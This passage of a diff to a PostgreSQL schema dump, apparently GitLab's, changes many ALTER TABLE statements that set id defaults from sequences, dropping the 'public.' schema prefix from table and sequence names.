+ALTER TABLE ONLY ci_build_trace_section_names ALTER COLUMN id SET DEFAULT nextval('ci_build_trace_section_names_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_builds_metadata ALTER COLUMN id SET DEFAULT nextval('public.ci_builds_metadata_id_seq'::regclass);
+ALTER TABLE ONLY ci_builds ALTER COLUMN id SET DEFAULT nextval('ci_builds_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_builds_runner_session ALTER COLUMN id SET DEFAULT nextval('public.ci_builds_runner_session_id_seq'::regclass);
+ALTER TABLE ONLY ci_builds_metadata ALTER COLUMN id SET DEFAULT nextval('ci_builds_metadata_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_daily_build_group_report_results ALTER COLUMN id SET DEFAULT nextval('public.ci_daily_build_group_report_results_id_seq'::regclass);
+ALTER TABLE ONLY ci_builds_runner_session ALTER COLUMN id SET DEFAULT nextval('ci_builds_runner_session_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_freeze_periods ALTER COLUMN id SET DEFAULT nextval('public.ci_freeze_periods_id_seq'::regclass);
+ALTER TABLE ONLY ci_daily_build_group_report_results ALTER COLUMN id SET DEFAULT nextval('ci_daily_build_group_report_results_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_group_variables ALTER COLUMN id SET DEFAULT nextval('public.ci_group_variables_id_seq'::regclass);
+ALTER TABLE ONLY ci_freeze_periods ALTER COLUMN id SET DEFAULT nextval('ci_freeze_periods_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_instance_variables ALTER COLUMN id SET DEFAULT nextval('public.ci_instance_variables_id_seq'::regclass);
+ALTER TABLE ONLY ci_group_variables ALTER COLUMN id SET DEFAULT nextval('ci_group_variables_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_job_artifacts ALTER COLUMN id SET DEFAULT nextval('public.ci_job_artifacts_id_seq'::regclass);
+ALTER TABLE ONLY ci_instance_variables ALTER COLUMN id SET DEFAULT nextval('ci_instance_variables_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_job_variables ALTER COLUMN id SET DEFAULT nextval('public.ci_job_variables_id_seq'::regclass);
+ALTER TABLE ONLY ci_job_artifacts ALTER COLUMN id SET DEFAULT nextval('ci_job_artifacts_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_pipeline_artifacts ALTER COLUMN id SET DEFAULT nextval('public.ci_pipeline_artifacts_id_seq'::regclass);
+ALTER TABLE ONLY ci_job_variables ALTER COLUMN id SET DEFAULT nextval('ci_job_variables_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_pipeline_chat_data ALTER COLUMN id SET DEFAULT nextval('public.ci_pipeline_chat_data_id_seq'::regclass);
+ALTER TABLE ONLY ci_pipeline_artifacts ALTER COLUMN id SET DEFAULT nextval('ci_pipeline_artifacts_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_pipeline_messages ALTER COLUMN id SET DEFAULT nextval('public.ci_pipeline_messages_id_seq'::regclass);
+ALTER TABLE ONLY ci_pipeline_chat_data ALTER COLUMN id SET DEFAULT nextval('ci_pipeline_chat_data_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_pipeline_schedule_variables ALTER COLUMN id SET DEFAULT nextval('public.ci_pipeline_schedule_variables_id_seq'::regclass);
+ALTER TABLE ONLY ci_pipeline_messages ALTER COLUMN id SET DEFAULT nextval('ci_pipeline_messages_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_pipeline_schedules ALTER COLUMN id SET DEFAULT nextval('public.ci_pipeline_schedules_id_seq'::regclass);
+ALTER TABLE ONLY ci_pipeline_schedule_variables ALTER COLUMN id SET DEFAULT nextval('ci_pipeline_schedule_variables_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_pipeline_variables ALTER COLUMN id SET DEFAULT nextval('public.ci_pipeline_variables_id_seq'::regclass);
+ALTER TABLE ONLY ci_pipeline_schedules ALTER COLUMN id SET DEFAULT nextval('ci_pipeline_schedules_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_pipelines ALTER COLUMN id SET DEFAULT nextval('public.ci_pipelines_id_seq'::regclass);
+ALTER TABLE ONLY ci_pipeline_variables ALTER COLUMN id SET DEFAULT nextval('ci_pipeline_variables_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_pipelines_config ALTER COLUMN pipeline_id SET DEFAULT nextval('public.ci_pipelines_config_pipeline_id_seq'::regclass);
+ALTER TABLE ONLY ci_pipelines ALTER COLUMN id SET DEFAULT nextval('ci_pipelines_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_refs ALTER COLUMN id SET DEFAULT nextval('public.ci_refs_id_seq'::regclass);
+ALTER TABLE ONLY ci_pipelines_config ALTER COLUMN pipeline_id SET DEFAULT nextval('ci_pipelines_config_pipeline_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_resource_groups ALTER COLUMN id SET DEFAULT nextval('public.ci_resource_groups_id_seq'::regclass);
+ALTER TABLE ONLY ci_platform_metrics ALTER COLUMN id SET DEFAULT nextval('ci_platform_metrics_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_resources ALTER COLUMN id SET DEFAULT nextval('public.ci_resources_id_seq'::regclass);
+ALTER TABLE ONLY ci_refs ALTER COLUMN id SET DEFAULT nextval('ci_refs_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_runner_namespaces ALTER COLUMN id SET DEFAULT nextval('public.ci_runner_namespaces_id_seq'::regclass);
+ALTER TABLE ONLY ci_resource_groups ALTER COLUMN id SET DEFAULT nextval('ci_resource_groups_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_runner_projects ALTER COLUMN id SET DEFAULT nextval('public.ci_runner_projects_id_seq'::regclass);
+ALTER TABLE ONLY ci_resources ALTER COLUMN id SET DEFAULT nextval('ci_resources_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_runners ALTER COLUMN id SET DEFAULT nextval('public.ci_runners_id_seq'::regclass);
+ALTER TABLE ONLY ci_runner_namespaces ALTER COLUMN id SET DEFAULT nextval('ci_runner_namespaces_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_sources_pipelines ALTER COLUMN id SET DEFAULT nextval('public.ci_sources_pipelines_id_seq'::regclass);
+ALTER TABLE ONLY ci_runner_projects ALTER COLUMN id SET DEFAULT nextval('ci_runner_projects_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_sources_projects ALTER COLUMN id SET DEFAULT nextval('public.ci_sources_projects_id_seq'::regclass);
+ALTER TABLE ONLY ci_runners ALTER COLUMN id SET DEFAULT nextval('ci_runners_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_stages ALTER COLUMN id SET DEFAULT nextval('public.ci_stages_id_seq'::regclass);
+ALTER TABLE ONLY ci_sources_pipelines ALTER COLUMN id SET DEFAULT nextval('ci_sources_pipelines_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_subscriptions_projects ALTER COLUMN id SET DEFAULT nextval('public.ci_subscriptions_projects_id_seq'::regclass);
+ALTER TABLE ONLY ci_sources_projects ALTER COLUMN id SET DEFAULT nextval('ci_sources_projects_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_trigger_requests ALTER COLUMN id SET DEFAULT nextval('public.ci_trigger_requests_id_seq'::regclass);
+ALTER TABLE ONLY ci_stages ALTER COLUMN id SET DEFAULT nextval('ci_stages_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_triggers ALTER COLUMN id SET DEFAULT nextval('public.ci_triggers_id_seq'::regclass);
+ALTER TABLE ONLY ci_subscriptions_projects ALTER COLUMN id SET DEFAULT nextval('ci_subscriptions_projects_id_seq'::regclass);
-ALTER TABLE ONLY public.ci_variables ALTER COLUMN id SET DEFAULT nextval('public.ci_variables_id_seq'::regclass);
+ALTER TABLE ONLY ci_trigger_requests ALTER COLUMN id SET DEFAULT nextval('ci_trigger_requests_id_seq'::regclass);
-ALTER TABLE ONLY public.cluster_agent_tokens ALTER COLUMN id SET DEFAULT nextval('public.cluster_agent_tokens_id_seq'::regclass);
+ALTER TABLE ONLY ci_triggers ALTER COLUMN id SET DEFAULT nextval('ci_triggers_id_seq'::regclass);
-ALTER TABLE ONLY public.cluster_agents ALTER COLUMN id SET DEFAULT nextval('public.cluster_agents_id_seq'::regclass);
+ALTER TABLE ONLY ci_variables ALTER COLUMN id SET DEFAULT nextval('ci_variables_id_seq'::regclass);
-ALTER TABLE ONLY public.cluster_groups ALTER COLUMN id SET DEFAULT nextval('public.cluster_groups_id_seq'::regclass);
+ALTER TABLE ONLY cluster_agent_tokens ALTER COLUMN id SET DEFAULT nextval('cluster_agent_tokens_id_seq'::regclass);
-ALTER TABLE ONLY public.cluster_platforms_kubernetes ALTER COLUMN id SET DEFAULT nextval('public.cluster_platforms_kubernetes_id_seq'::regclass);
+ALTER TABLE ONLY cluster_agents ALTER COLUMN id SET DEFAULT nextval('cluster_agents_id_seq'::regclass);
-ALTER TABLE ONLY public.cluster_projects ALTER COLUMN id SET DEFAULT nextval('public.cluster_projects_id_seq'::regclass);
+ALTER TABLE ONLY cluster_groups ALTER COLUMN id SET DEFAULT nextval('cluster_groups_id_seq'::regclass);
-ALTER TABLE ONLY public.cluster_providers_aws ALTER COLUMN id SET DEFAULT nextval('public.cluster_providers_aws_id_seq'::regclass);
+ALTER TABLE ONLY cluster_platforms_kubernetes ALTER COLUMN id SET DEFAULT nextval('cluster_platforms_kubernetes_id_seq'::regclass);
-ALTER TABLE ONLY public.cluster_providers_gcp ALTER COLUMN id SET DEFAULT nextval('public.cluster_providers_gcp_id_seq'::regclass);
+ALTER TABLE ONLY cluster_projects ALTER COLUMN id SET DEFAULT nextval('cluster_projects_id_seq'::regclass);
-ALTER TABLE ONLY public.clusters ALTER COLUMN id SET DEFAULT nextval('public.clusters_id_seq'::regclass);
+ALTER TABLE ONLY cluster_providers_aws ALTER COLUMN id SET DEFAULT nextval('cluster_providers_aws_id_seq'::regclass);
-ALTER TABLE ONLY public.clusters_applications_cert_managers ALTER COLUMN id SET DEFAULT nextval('public.clusters_applications_cert_managers_id_seq'::regclass);
+ALTER TABLE ONLY cluster_providers_gcp ALTER COLUMN id SET DEFAULT nextval('cluster_providers_gcp_id_seq'::regclass);
-ALTER TABLE ONLY public.clusters_applications_cilium ALTER COLUMN id SET DEFAULT nextval('public.clusters_applications_cilium_id_seq'::regclass);
+ALTER TABLE ONLY clusters ALTER COLUMN id SET DEFAULT nextval('clusters_id_seq'::regclass);
-ALTER TABLE ONLY public.clusters_applications_crossplane ALTER COLUMN id SET DEFAULT nextval('public.clusters_applications_crossplane_id_seq'::regclass);
+ALTER TABLE ONLY clusters_applications_cert_managers ALTER COLUMN id SET DEFAULT nextval('clusters_applications_cert_managers_id_seq'::regclass);
-ALTER TABLE ONLY public.clusters_applications_elastic_stacks ALTER COLUMN id SET DEFAULT nextval('public.clusters_applications_elastic_stacks_id_seq'::regclass);
+ALTER TABLE ONLY clusters_applications_cilium ALTER COLUMN id SET DEFAULT nextval('clusters_applications_cilium_id_seq'::regclass);
-ALTER TABLE ONLY public.clusters_applications_fluentd ALTER COLUMN id SET DEFAULT nextval('public.clusters_applications_fluentd_id_seq'::regclass);
+ALTER TABLE ONLY clusters_applications_crossplane ALTER COLUMN id SET DEFAULT nextval('clusters_applications_crossplane_id_seq'::regclass);
-ALTER TABLE ONLY public.clusters_applications_helm ALTER COLUMN id SET DEFAULT nextval('public.clusters_applications_helm_id_seq'::regclass);
+ALTER TABLE ONLY clusters_applications_elastic_stacks ALTER COLUMN id SET DEFAULT nextval('clusters_applications_elastic_stacks_id_seq'::regclass);
-ALTER TABLE ONLY public.clusters_applications_ingress ALTER COLUMN id SET DEFAULT nextval('public.clusters_applications_ingress_id_seq'::regclass);
+ALTER TABLE ONLY clusters_applications_fluentd ALTER COLUMN id SET DEFAULT nextval('clusters_applications_fluentd_id_seq'::regclass);
-ALTER TABLE ONLY public.clusters_applications_jupyter ALTER COLUMN id SET DEFAULT nextval('public.clusters_applications_jupyter_id_seq'::regclass);
+ALTER TABLE ONLY clusters_applications_helm ALTER COLUMN id SET DEFAULT nextval('clusters_applications_helm_id_seq'::regclass);
-ALTER TABLE ONLY public.clusters_applications_knative ALTER COLUMN id SET DEFAULT nextval('public.clusters_applications_knative_id_seq'::regclass);
+ALTER TABLE ONLY clusters_applications_ingress ALTER COLUMN id SET DEFAULT nextval('clusters_applications_ingress_id_seq'::regclass);
-ALTER TABLE ONLY public.clusters_applications_prometheus ALTER COLUMN id SET DEFAULT nextval('public.clusters_applications_prometheus_id_seq'::regclass);
+ALTER TABLE ONLY clusters_applications_jupyter ALTER COLUMN id SET DEFAULT nextval('clusters_applications_jupyter_id_seq'::regclass);
-ALTER TABLE ONLY public.clusters_applications_runners ALTER COLUMN id SET DEFAULT nextval('public.clusters_applications_runners_id_seq'::regclass);
+ALTER TABLE ONLY clusters_applications_knative ALTER COLUMN id SET DEFAULT nextval('clusters_applications_knative_id_seq'::regclass);
-ALTER TABLE ONLY public.clusters_kubernetes_namespaces ALTER COLUMN id SET DEFAULT nextval('public.clusters_kubernetes_namespaces_id_seq'::regclass);
+ALTER TABLE ONLY clusters_applications_prometheus ALTER COLUMN id SET DEFAULT nextval('clusters_applications_prometheus_id_seq'::regclass);
-ALTER TABLE ONLY public.commit_user_mentions ALTER COLUMN id SET DEFAULT nextval('public.commit_user_mentions_id_seq'::regclass);
+ALTER TABLE ONLY clusters_applications_runners ALTER COLUMN id SET DEFAULT nextval('clusters_applications_runners_id_seq'::regclass);
-ALTER TABLE ONLY public.container_repositories ALTER COLUMN id SET DEFAULT nextval('public.container_repositories_id_seq'::regclass);
+ALTER TABLE ONLY clusters_kubernetes_namespaces ALTER COLUMN id SET DEFAULT nextval('clusters_kubernetes_namespaces_id_seq'::regclass);
-ALTER TABLE ONLY public.conversational_development_index_metrics ALTER COLUMN id SET DEFAULT nextval('public.conversational_development_index_metrics_id_seq'::regclass);
+ALTER TABLE ONLY commit_user_mentions ALTER COLUMN id SET DEFAULT nextval('commit_user_mentions_id_seq'::regclass);
-ALTER TABLE ONLY public.custom_emoji ALTER COLUMN id SET DEFAULT nextval('public.custom_emoji_id_seq'::regclass);
+ALTER TABLE ONLY container_repositories ALTER COLUMN id SET DEFAULT nextval('container_repositories_id_seq'::regclass);
-ALTER TABLE ONLY public.dast_scanner_profiles ALTER COLUMN id SET DEFAULT nextval('public.dast_scanner_profiles_id_seq'::regclass);
+ALTER TABLE ONLY conversational_development_index_metrics ALTER COLUMN id SET DEFAULT nextval('conversational_development_index_metrics_id_seq'::regclass);
-ALTER TABLE ONLY public.dast_site_profiles ALTER COLUMN id SET DEFAULT nextval('public.dast_site_profiles_id_seq'::regclass);
+ALTER TABLE ONLY custom_emoji ALTER COLUMN id SET DEFAULT nextval('custom_emoji_id_seq'::regclass);
-ALTER TABLE ONLY public.dast_sites ALTER COLUMN id SET DEFAULT nextval('public.dast_sites_id_seq'::regclass);
+ALTER TABLE ONLY dast_scanner_profiles ALTER COLUMN id SET DEFAULT nextval('dast_scanner_profiles_id_seq'::regclass);
-ALTER TABLE ONLY public.dependency_proxy_blobs ALTER COLUMN id SET DEFAULT nextval('public.dependency_proxy_blobs_id_seq'::regclass);
+ALTER TABLE ONLY dast_site_profiles ALTER COLUMN id SET DEFAULT nextval('dast_site_profiles_id_seq'::regclass);
-ALTER TABLE ONLY public.dependency_proxy_group_settings ALTER COLUMN id SET DEFAULT nextval('public.dependency_proxy_group_settings_id_seq'::regclass);
+ALTER TABLE ONLY dast_site_tokens ALTER COLUMN id SET DEFAULT nextval('dast_site_tokens_id_seq'::regclass);
-ALTER TABLE ONLY public.deploy_keys_projects ALTER COLUMN id SET DEFAULT nextval('public.deploy_keys_projects_id_seq'::regclass);
+ALTER TABLE ONLY dast_site_validations ALTER COLUMN id SET DEFAULT nextval('dast_site_validations_id_seq'::regclass);
-ALTER TABLE ONLY public.deploy_tokens ALTER COLUMN id SET DEFAULT nextval('public.deploy_tokens_id_seq'::regclass);
+ALTER TABLE ONLY dast_sites ALTER COLUMN id SET DEFAULT nextval('dast_sites_id_seq'::regclass);
-ALTER TABLE ONLY public.deployments ALTER COLUMN id SET DEFAULT nextval('public.deployments_id_seq'::regclass);
+ALTER TABLE ONLY dependency_proxy_blobs ALTER COLUMN id SET DEFAULT nextval('dependency_proxy_blobs_id_seq'::regclass);
-ALTER TABLE ONLY public.description_versions ALTER COLUMN id SET DEFAULT nextval('public.description_versions_id_seq'::regclass);
+ALTER TABLE ONLY dependency_proxy_group_settings ALTER COLUMN id SET DEFAULT nextval('dependency_proxy_group_settings_id_seq'::regclass);
-ALTER TABLE ONLY public.design_management_designs ALTER COLUMN id SET DEFAULT nextval('public.design_management_designs_id_seq'::regclass);
+ALTER TABLE ONLY deploy_keys_projects ALTER COLUMN id SET DEFAULT nextval('deploy_keys_projects_id_seq'::regclass);
-ALTER TABLE ONLY public.design_management_designs_versions ALTER COLUMN id SET DEFAULT nextval('public.design_management_designs_versions_id_seq'::regclass);
+ALTER TABLE ONLY deploy_tokens ALTER COLUMN id SET DEFAULT nextval('deploy_tokens_id_seq'::regclass);
-ALTER TABLE ONLY public.design_management_versions ALTER COLUMN id SET DEFAULT nextval('public.design_management_versions_id_seq'::regclass);
+ALTER TABLE ONLY deployments ALTER COLUMN id SET DEFAULT nextval('deployments_id_seq'::regclass);
-ALTER TABLE ONLY public.design_user_mentions ALTER COLUMN id SET DEFAULT nextval('public.design_user_mentions_id_seq'::regclass);
+ALTER TABLE ONLY description_versions ALTER COLUMN id SET DEFAULT nextval('description_versions_id_seq'::regclass);
-ALTER TABLE ONLY public.diff_note_positions ALTER COLUMN id SET DEFAULT nextval('public.diff_note_positions_id_seq'::regclass);
+ALTER TABLE ONLY design_management_designs ALTER COLUMN id SET DEFAULT nextval('design_management_designs_id_seq'::regclass);
-ALTER TABLE ONLY public.draft_notes ALTER COLUMN id SET DEFAULT nextval('public.draft_notes_id_seq'::regclass);
+ALTER TABLE ONLY design_management_designs_versions ALTER COLUMN id SET DEFAULT nextval('design_management_designs_versions_id_seq'::regclass);
-ALTER TABLE ONLY public.elastic_reindexing_tasks ALTER COLUMN id SET DEFAULT nextval('public.elastic_reindexing_tasks_id_seq'::regclass);
+ALTER TABLE ONLY design_management_versions ALTER COLUMN id SET DEFAULT nextval('design_management_versions_id_seq'::regclass);
-ALTER TABLE ONLY public.emails ALTER COLUMN id SET DEFAULT nextval('public.emails_id_seq'::regclass);
+ALTER TABLE ONLY design_user_mentions ALTER COLUMN id SET DEFAULT nextval('design_user_mentions_id_seq'::regclass);
-ALTER TABLE ONLY public.environments ALTER COLUMN id SET DEFAULT nextval('public.environments_id_seq'::regclass);
+ALTER TABLE ONLY diff_note_positions ALTER COLUMN id SET DEFAULT nextval('diff_note_positions_id_seq'::regclass);
-ALTER TABLE ONLY public.epic_issues ALTER COLUMN id SET DEFAULT nextval('public.epic_issues_id_seq'::regclass);
+ALTER TABLE ONLY draft_notes ALTER COLUMN id SET DEFAULT nextval('draft_notes_id_seq'::regclass);
-ALTER TABLE ONLY public.epic_metrics ALTER COLUMN id SET DEFAULT nextval('public.epic_metrics_id_seq'::regclass);
+ALTER TABLE ONLY elastic_reindexing_tasks ALTER COLUMN id SET DEFAULT nextval('elastic_reindexing_tasks_id_seq'::regclass);
-ALTER TABLE ONLY public.epic_user_mentions ALTER COLUMN id SET DEFAULT nextval('public.epic_user_mentions_id_seq'::regclass);
+ALTER TABLE ONLY emails ALTER COLUMN id SET DEFAULT nextval('emails_id_seq'::regclass);
-ALTER TABLE ONLY public.epics ALTER COLUMN id SET DEFAULT nextval('public.epics_id_seq'::regclass);
+ALTER TABLE ONLY environments ALTER COLUMN id SET DEFAULT nextval('environments_id_seq'::regclass);
-ALTER TABLE ONLY public.events ALTER COLUMN id SET DEFAULT nextval('public.events_id_seq'::regclass);
+ALTER TABLE ONLY epic_issues ALTER COLUMN id SET DEFAULT nextval('epic_issues_id_seq'::regclass);
-ALTER TABLE ONLY public.evidences ALTER COLUMN id SET DEFAULT nextval('public.evidences_id_seq'::regclass);
+ALTER TABLE ONLY epic_metrics ALTER COLUMN id SET DEFAULT nextval('epic_metrics_id_seq'::regclass);
-ALTER TABLE ONLY public.experiment_users ALTER COLUMN id SET DEFAULT nextval('public.experiment_users_id_seq'::regclass);
+ALTER TABLE ONLY epic_user_mentions ALTER COLUMN id SET DEFAULT nextval('epic_user_mentions_id_seq'::regclass);
-ALTER TABLE ONLY public.experiments ALTER COLUMN id SET DEFAULT nextval('public.experiments_id_seq'::regclass);
+ALTER TABLE ONLY epics ALTER COLUMN id SET DEFAULT nextval('epics_id_seq'::regclass);
-ALTER TABLE ONLY public.external_pull_requests ALTER COLUMN id SET DEFAULT nextval('public.external_pull_requests_id_seq'::regclass);
+ALTER TABLE ONLY events ALTER COLUMN id SET DEFAULT nextval('events_id_seq'::regclass);
-ALTER TABLE ONLY public.feature_gates ALTER COLUMN id SET DEFAULT nextval('public.feature_gates_id_seq'::regclass);
+ALTER TABLE ONLY evidences ALTER COLUMN id SET DEFAULT nextval('evidences_id_seq'::regclass);
-ALTER TABLE ONLY public.features ALTER COLUMN id SET DEFAULT nextval('public.features_id_seq'::regclass);
+ALTER TABLE ONLY experiment_users ALTER COLUMN id SET DEFAULT nextval('experiment_users_id_seq'::regclass);
-ALTER TABLE ONLY public.fork_network_members ALTER COLUMN id SET DEFAULT nextval('public.fork_network_members_id_seq'::regclass);
+ALTER TABLE ONLY experiments ALTER COLUMN id SET DEFAULT nextval('experiments_id_seq'::regclass);
-ALTER TABLE ONLY public.fork_networks ALTER COLUMN id SET DEFAULT nextval('public.fork_networks_id_seq'::regclass);
+ALTER TABLE ONLY external_pull_requests ALTER COLUMN id SET DEFAULT nextval('external_pull_requests_id_seq'::regclass);
-ALTER TABLE ONLY public.geo_cache_invalidation_events ALTER COLUMN id SET DEFAULT nextval('public.geo_cache_invalidation_events_id_seq'::regclass);
+ALTER TABLE ONLY feature_gates ALTER COLUMN id SET DEFAULT nextval('feature_gates_id_seq'::regclass);
-ALTER TABLE ONLY public.geo_container_repository_updated_events ALTER COLUMN id SET DEFAULT nextval('public.geo_container_repository_updated_events_id_seq'::regclass);
+ALTER TABLE ONLY features ALTER COLUMN id SET DEFAULT nextval('features_id_seq'::regclass);
-ALTER TABLE ONLY public.geo_event_log ALTER COLUMN id SET DEFAULT nextval('public.geo_event_log_id_seq'::regclass);
+ALTER TABLE ONLY fork_network_members ALTER COLUMN id SET DEFAULT nextval('fork_network_members_id_seq'::regclass);
-ALTER TABLE ONLY public.geo_events ALTER COLUMN id SET DEFAULT nextval('public.geo_events_id_seq'::regclass);
+ALTER TABLE ONLY fork_networks ALTER COLUMN id SET DEFAULT nextval('fork_networks_id_seq'::regclass);
-ALTER TABLE ONLY public.geo_hashed_storage_attachments_events ALTER COLUMN id SET DEFAULT nextval('public.geo_hashed_storage_attachments_events_id_seq'::regclass);
+ALTER TABLE ONLY geo_cache_invalidation_events ALTER COLUMN id SET DEFAULT nextval('geo_cache_invalidation_events_id_seq'::regclass);
-ALTER TABLE ONLY public.geo_hashed_storage_migrated_events ALTER COLUMN id SET DEFAULT nextval('public.geo_hashed_storage_migrated_events_id_seq'::regclass);
+ALTER TABLE ONLY geo_container_repository_updated_events ALTER COLUMN id SET DEFAULT nextval('geo_container_repository_updated_events_id_seq'::regclass);
-ALTER TABLE ONLY public.geo_job_artifact_deleted_events ALTER COLUMN id SET DEFAULT nextval('public.geo_job_artifact_deleted_events_id_seq'::regclass);
+ALTER TABLE ONLY geo_event_log ALTER COLUMN id SET DEFAULT nextval('geo_event_log_id_seq'::regclass);
-ALTER TABLE ONLY public.geo_lfs_object_deleted_events ALTER COLUMN id SET DEFAULT nextval('public.geo_lfs_object_deleted_events_id_seq'::regclass);
+ALTER TABLE ONLY geo_events ALTER COLUMN id SET DEFAULT nextval('geo_events_id_seq'::regclass);
-ALTER TABLE ONLY public.geo_node_namespace_links ALTER COLUMN id SET DEFAULT nextval('public.geo_node_namespace_links_id_seq'::regclass);
+ALTER TABLE ONLY geo_hashed_storage_attachments_events ALTER COLUMN id SET DEFAULT nextval('geo_hashed_storage_attachments_events_id_seq'::regclass);
-ALTER TABLE ONLY public.geo_node_statuses ALTER COLUMN id SET DEFAULT nextval('public.geo_node_statuses_id_seq'::regclass);
+ALTER TABLE ONLY geo_hashed_storage_migrated_events ALTER COLUMN id SET DEFAULT nextval('geo_hashed_storage_migrated_events_id_seq'::regclass);
-ALTER TABLE ONLY public.geo_nodes ALTER COLUMN id SET DEFAULT nextval('public.geo_nodes_id_seq'::regclass);
+ALTER TABLE ONLY geo_job_artifact_deleted_events ALTER COLUMN id SET DEFAULT nextval('geo_job_artifact_deleted_events_id_seq'::regclass);
-ALTER TABLE ONLY public.geo_repositories_changed_events ALTER COLUMN id SET DEFAULT nextval('public.geo_repositories_changed_events_id_seq'::regclass);
+ALTER TABLE ONLY geo_lfs_object_deleted_events ALTER COLUMN id SET DEFAULT nextval('geo_lfs_object_deleted_events_id_seq'::regclass);
-ALTER TABLE ONLY public.geo_repository_created_events ALTER COLUMN id SET DEFAULT nextval('public.geo_repository_created_events_id_seq'::regclass);
+ALTER TABLE ONLY geo_node_namespace_links ALTER COLUMN id SET DEFAULT nextval('geo_node_namespace_links_id_seq'::regclass);
-ALTER TABLE ONLY public.geo_repository_deleted_events ALTER COLUMN id SET DEFAULT nextval('public.geo_repository_deleted_events_id_seq'::regclass);
+ALTER TABLE ONLY geo_node_statuses ALTER COLUMN id SET DEFAULT nextval('geo_node_statuses_id_seq'::regclass);
-ALTER TABLE ONLY public.geo_repository_renamed_events ALTER COLUMN id SET DEFAULT nextval('public.geo_repository_renamed_events_id_seq'::regclass);
+ALTER TABLE ONLY geo_nodes ALTER COLUMN id SET DEFAULT nextval('geo_nodes_id_seq'::regclass);
-ALTER TABLE ONLY public.geo_repository_updated_events ALTER COLUMN id SET DEFAULT nextval('public.geo_repository_updated_events_id_seq'::regclass);
+ALTER TABLE ONLY geo_repositories_changed_events ALTER COLUMN id SET DEFAULT nextval('geo_repositories_changed_events_id_seq'::regclass);
-ALTER TABLE ONLY public.geo_reset_checksum_events ALTER COLUMN id SET DEFAULT nextval('public.geo_reset_checksum_events_id_seq'::regclass);
+ALTER TABLE ONLY geo_repository_created_events ALTER COLUMN id SET DEFAULT nextval('geo_repository_created_events_id_seq'::regclass);
-ALTER TABLE ONLY public.geo_upload_deleted_events ALTER COLUMN id SET DEFAULT nextval('public.geo_upload_deleted_events_id_seq'::regclass);
+ALTER TABLE ONLY geo_repository_deleted_events ALTER COLUMN id SET DEFAULT nextval('geo_repository_deleted_events_id_seq'::regclass);
-ALTER TABLE ONLY public.gitlab_subscription_histories ALTER COLUMN id SET DEFAULT nextval('public.gitlab_subscription_histories_id_seq'::regclass);
+ALTER TABLE ONLY geo_repository_renamed_events ALTER COLUMN id SET DEFAULT nextval('geo_repository_renamed_events_id_seq'::regclass);
-ALTER TABLE ONLY public.gitlab_subscriptions ALTER COLUMN id SET DEFAULT nextval('public.gitlab_subscriptions_id_seq'::regclass);
+ALTER TABLE ONLY geo_repository_updated_events ALTER COLUMN id SET DEFAULT nextval('geo_repository_updated_events_id_seq'::regclass);
-ALTER TABLE ONLY public.gpg_key_subkeys ALTER COLUMN id SET DEFAULT nextval('public.gpg_key_subkeys_id_seq'::regclass);
+ALTER TABLE ONLY geo_reset_checksum_events ALTER COLUMN id SET DEFAULT nextval('geo_reset_checksum_events_id_seq'::regclass);
-ALTER TABLE ONLY public.gpg_keys ALTER COLUMN id SET DEFAULT nextval('public.gpg_keys_id_seq'::regclass);
+ALTER TABLE ONLY geo_upload_deleted_events ALTER COLUMN id SET DEFAULT nextval('geo_upload_deleted_events_id_seq'::regclass);
-ALTER TABLE ONLY public.gpg_signatures ALTER COLUMN id SET DEFAULT nextval('public.gpg_signatures_id_seq'::regclass);
+ALTER TABLE ONLY gitlab_subscription_histories ALTER COLUMN id SET DEFAULT nextval('gitlab_subscription_histories_id_seq'::regclass);
-ALTER TABLE ONLY public.grafana_integrations ALTER COLUMN id SET DEFAULT nextval('public.grafana_integrations_id_seq'::regclass);
+ALTER TABLE ONLY gitlab_subscriptions ALTER COLUMN id SET DEFAULT nextval('gitlab_subscriptions_id_seq'::regclass);
-ALTER TABLE ONLY public.group_custom_attributes ALTER COLUMN id SET DEFAULT nextval('public.group_custom_attributes_id_seq'::regclass);
+ALTER TABLE ONLY gpg_key_subkeys ALTER COLUMN id SET DEFAULT nextval('gpg_key_subkeys_id_seq'::regclass);
-ALTER TABLE ONLY public.group_deploy_keys ALTER COLUMN id SET DEFAULT nextval('public.group_deploy_keys_id_seq'::regclass);
+ALTER TABLE ONLY gpg_keys ALTER COLUMN id SET DEFAULT nextval('gpg_keys_id_seq'::regclass);
-ALTER TABLE ONLY public.group_deploy_keys_groups ALTER COLUMN id SET DEFAULT nextval('public.group_deploy_keys_groups_id_seq'::regclass);
+ALTER TABLE ONLY gpg_signatures ALTER COLUMN id SET DEFAULT nextval('gpg_signatures_id_seq'::regclass);
-ALTER TABLE ONLY public.group_deploy_tokens ALTER COLUMN id SET DEFAULT nextval('public.group_deploy_tokens_id_seq'::regclass);
+ALTER TABLE ONLY grafana_integrations ALTER COLUMN id SET DEFAULT nextval('grafana_integrations_id_seq'::regclass);
-ALTER TABLE ONLY public.group_group_links ALTER COLUMN id SET DEFAULT nextval('public.group_group_links_id_seq'::regclass);
+ALTER TABLE ONLY group_custom_attributes ALTER COLUMN id SET DEFAULT nextval('group_custom_attributes_id_seq'::regclass);
-ALTER TABLE ONLY public.group_import_states ALTER COLUMN group_id SET DEFAULT nextval('public.group_import_states_group_id_seq'::regclass);
